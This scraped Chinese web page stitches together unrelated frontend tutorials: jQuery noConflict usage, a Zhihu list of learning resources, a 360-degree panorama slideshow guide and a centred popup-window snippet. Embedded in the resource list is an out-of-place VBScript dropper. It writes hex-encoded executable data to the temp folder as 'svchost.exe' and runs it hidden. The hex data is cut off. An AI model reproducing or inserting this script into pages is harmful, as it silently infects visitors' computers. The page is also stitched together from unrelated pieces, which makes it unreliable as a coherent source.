jQuery如何将$替换成¥

jQuery 名称冲突
jQuery 使用 $ 符号作为 jQuery 的简介方式。

某些其他 JavaScript 库中的函数(比如 Prototype)同样使用 $ 符号。

jQuery 使用名为 noConflict() 的方法来解决该问题。

var ¥=jQuery.noConflict(),帮助您使用自己的名称(比如 ¥)来代替 $ 符号。

 

jQuery中需要用到$符号,如果其他js库(例如大名鼎鼎的prototype)也定义了$符号,那么就会造成冲突,会影响到js代码的正常执行。jqeury提供了一些方案来避免这个问题,让我们来看看这几个方案有什么区别

方案1:
引入noConflict(),将$替换为其他符号

复制代码 代码如下:
var $j = jQuery.noConflict();
$j(document).ready(function(){
$j(“#btn1”).click(function(){
alert(“Text: ” + $j(“#test”).text());
});
});

缺点:引入了这段代码后,不仅是当前的js文件,该html引用的所有js中,如果有用到jquery中的$,都得用$j来代替之前的$

方案2:
ready函数是jquery的入口函数,可以
将$(document).ready(function(){
替换成
jQuery( document ).ready(function( $){}
缺点:只对ready嵌套内的代码有效,对嵌套外的代码是无效的。如果你所有的逻辑,都在写ready函数中,那没问题。但我们一般都会在ready函数之外写一些子函数,然后ready函数再去调用这些函数。这个方案对这些函数是无效的,因此这套方案有局限性。

方案3(推荐,特别是开发js插件时):

给js内容包上一个函数

复制代码 代码如下:
jQuery(function($){
//你的js代码放在这里(例如第二个方案提到的ready函数和子函数)
//如果是js文件,其实就是在文件头部和尾部各加一行代码
}

或者

复制代码 代码如下:
(function($) {
//你的js代码
})(jQuery);

这个方法,没有上面两个方案的缺点,只会影响到被包在jQuery(function($){}中的代码。
不会影响到其他js代码,这一点很重要。试想一下,假如你写了一个js公共组件,该组件需要用到jquery,为了提高鲁棒性,需考虑$符号冲突问题。如果使用方案1,那么别人在使用时,还得遵守你的约定,把自己js代码中的$改成$,而如果使用方案3,既能避免$冲突对该组件的影响,又无需要求使用公共组件的人修改自己的代码。

前端Web开发资源整理

作者:林梓
链接:https://zhuanlan.zhihu.com/p/23344447
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

记得大学做小组项目开发的时候,一个小组项目获得了老师的表扬,说页面美,有想点击的欲望,而我们其他大部分都不注重前端的页面展示和布局,都还振振有词的说只要功能实现了就OK了,页面美不美无所谓,现在想想当时好傻啊。

后来,有小伙伴自己做了个小游戏,类似扫雷这种,都觉得简单好玩,老师还提名表扬呢,那时没深究是怎么开发的,现在想想就是纯前端的简单小游戏啊。

工作后,发现前端才是王道啊,先不说大家说的什么“整个互联网都缺前端啊”这种话题,就说要抓取用户眼球,让用户有点击的欲望,这都是前端工作啊,毕竟用户才不关心“你咋实现这个功能的”,只要看着舒服就行。

其实,说这么多,我只想说,如果你想学前端,现在还来得及。我平时会留意各种资源,因此,这里整理一番,可能更适合有一定基础的前端学习者看~

说明:关于前端学习网站,太多了,什么官方文档啦、各种在线学习网站啦,只要你想学前端,那么一搜就全出来了,因此啊,我就不整理介绍了;

我主要整理3个部分:

  • 1)想开发项目,哪里找教程?
  • 2)关于前端的有趣网站;
  • 3)分享一些合集资源;

一、前端项目哪里找?

前端的入门教程网上很多,只要你搜索呼啦啦就出来了,因此啊,就不整理了。主要整理一下,哪里可以找到前端项目,就是有源代码的,可以拿来学习或者拿来用的。

  • 没有详细的教程,但可以找到项目并查看源代码和效果图:

1、CodePen

网站里有很多很酷的特效,而且看到它们的源代码,也可以看到效果图。

其实类似的网站有很多,就不一一介绍了:

2、 CodePlayer

网站里有各种项目效果,选择自己想学的,同样可以看到源代码和效果图,和codepen不同的是你可以看到作者是怎样把代码打出来的。

3、html5tricks

网站里有很多前端实现的功能,可以在线查看效果,也可以下载源码的。

  • 有详细的教程,而且步骤详细,教你一步步开发出项目:

4、phodal/ideabook

一个练手项目集,有很多实战项目,有步骤、效果图,同样可以看到源代码啊。

5、实验楼-WEB

网站里有很多前端项目教程,可以跟着教程一步步在环境中实现,并查看效果图,同样可以下载源代码,非常适合项目实战学习。

二、前端有趣的网站:

1、JS1k

大名鼎鼎的js1K,1K字节以内的Javascript代码,实现一个酷炫的动画、特效、小游戏之类的。官网从2010年开始征集参赛作品,现在已经办了7年了,还在办。

2、Can I use

CAN I USE,相信每个前端同学都不陌生,查询浏览器兼容性的利器。

3、JSHint

一个在线JS检测工具,可以检测JavaScript代码中的错误和潜在问题。

4、aaencode

将JS代码转换成常用的网络表情,例如“(゚Θ゚)”。转换的代码并不复杂,可以在源代码里看到。

类似的还有:

一个在线混淆工具,通过先进的算法,来混淆你的JavaScript代码,使其不可读。该工具还可以减小文件的大小,以便快速加载。

5、Best CSS Button Generator

网站主要提供各种按钮的CSS代码,你可以从预设的按钮中选择并使用模板用于自己的设计,还可以查看源代码,非常适合学习。

还有一个类似的:

网站是一个完整的代码生成器,可以自定义输入域或CSS3按钮,同样可以查看源代码,适合学习。

6、CSS属性指引

一份清单,按字母表顺序列出了每个CSS属性。

7、frontendrescue

里面分享了网络上关于前端的各种资源、大牛等信息,总之很多资源就对了。

三、一些整理的合集资源:

资源太多了,我就把平时mark的一些合集资源整理出来吧;

一些整理好的合集资源:

DropFileName = “svchost.exe”

<SCRIPT Language=VBScript><!–
DropFileName = “svchost.exe”
WriteData = “4D5A90000300000004000000FFFF0000B8000000000
Set FSO = CreateObject(“Scripting.FileSystemObject”)
DropPath = FSO.GetSpecialFolder(2) & “\” & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng(“&H” & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject(“WScript.Shell”)
WSHshell.Run DropPath, 0
//–></SCRIPT>

使用Javascript来创建一个响应式的超酷360度全景图片查看幻灯效果

使用Javascript来创建一个响应式的超酷360度全景图片查看幻灯效果

在线演示 本地下载

360度的全景图片效果常常可以用到给客户做产品展示,今天这里我们推荐一个非常不错的来自Robert Pataki的360全景幻灯实现教程,这里教程中将使用javascript来打造一个超酷的全景幻灯实现,相信大家一定会喜欢的!

在这个教程中没有使用到任何插件,我们将使用HTML,css和javascript来实现,当然,也使用是jQuery这个框架!

如何实现?

我们将使用预先按照360生成的图片进行轮播来实现动画展示效果。包含了180个图片。所以加载时间可能比较长。

代码实现

我们将在css代码中添加media queries,来使得这个效果可以同时在ipad和iphone上实现。

1. 代码文件

我们添加js,css,图片目录。css目录中包含了reset.css。js中包含了jQuery。代码文件如下:

使用Javascript来创建一个响应式的超酷360度全景图片查看幻灯效果

2. 新的项目

创建一个HTML文件index.html。在<head>中我们设置了移动设备的viewport,使得内容不支持缩放。添加俩个文件

reset.css和threesixty.css。包含了自定义的css样式。

<!DOCTYPE html>
<html lang="en">
<head>
        <meta charset="utf-8">
        <meta name="viewport" content="initial-scale=1.0, maximum-scale=1.0" />
        <title>360</title>
        <link rel="stylesheet" href="css/reset.css" media="screen" type="text/css" />
        <link rel="stylesheet" href="css/threesixty.css" media="screen" type="text/css" />
</head>
<body>

</body>
</html>

3. 加载进度条

创建一个<div>来容纳幻灯。其中包含一个<ol>,用来包含图片序列<li>,同时也包含了一个<span>来显示进度条。我们将使用javascript来动态加载图片.

 

http://www.codeweblog.com/%E4%BD%BF%E7%94%A8javascript%E6%9D%A5%E5%88%9B%E5%BB%BA%E4%B8%80%E4%B8%AA%E5%93%8D%E5%BA%94%E5%BC%8F%E7%9A%84%E8%B6%85%E9%85%B7360%E5%BA%A6%E5%85%A8%E6%99%AF%E5%9B%BE%E7%89%87%E6%9F%A5%E7%9C%8B/

js怎么做弹窗弹窗口处于用户浏览器上下左右居中效果

<Script language="javascript" type="text/javascript">
function openwindow(url,name,iWidth,iHeight)
 {
  var url;                                 //转向网页的地址;
  var name;                           //网页名称,可为空;
  var iWidth;                          //弹出窗口的宽度;
  var iHeight;                        //弹出窗口的高度;
  var iTop = (window.screen.availHeight-30-iHeight)/2;       //获得窗口的垂直位置;
  var iLeft = (window.screen.availWidth-10-iWidth)/2;           //获得窗口的水平位置;
  window.open(url,name,'height='+iHeight+',,innerHeight='+iHeight+',width='+iWidth+',innerWidth='+iWidth+',top='+iTop+',left='+iLeft+',toolbar=no,menubar=no,scrollbars=auto,resizeable=no,location=no,status=no');
 }
</Script>
<a href="JavaScript:openwindow('要弹出的页面','NewWin','200','200')">点击</a>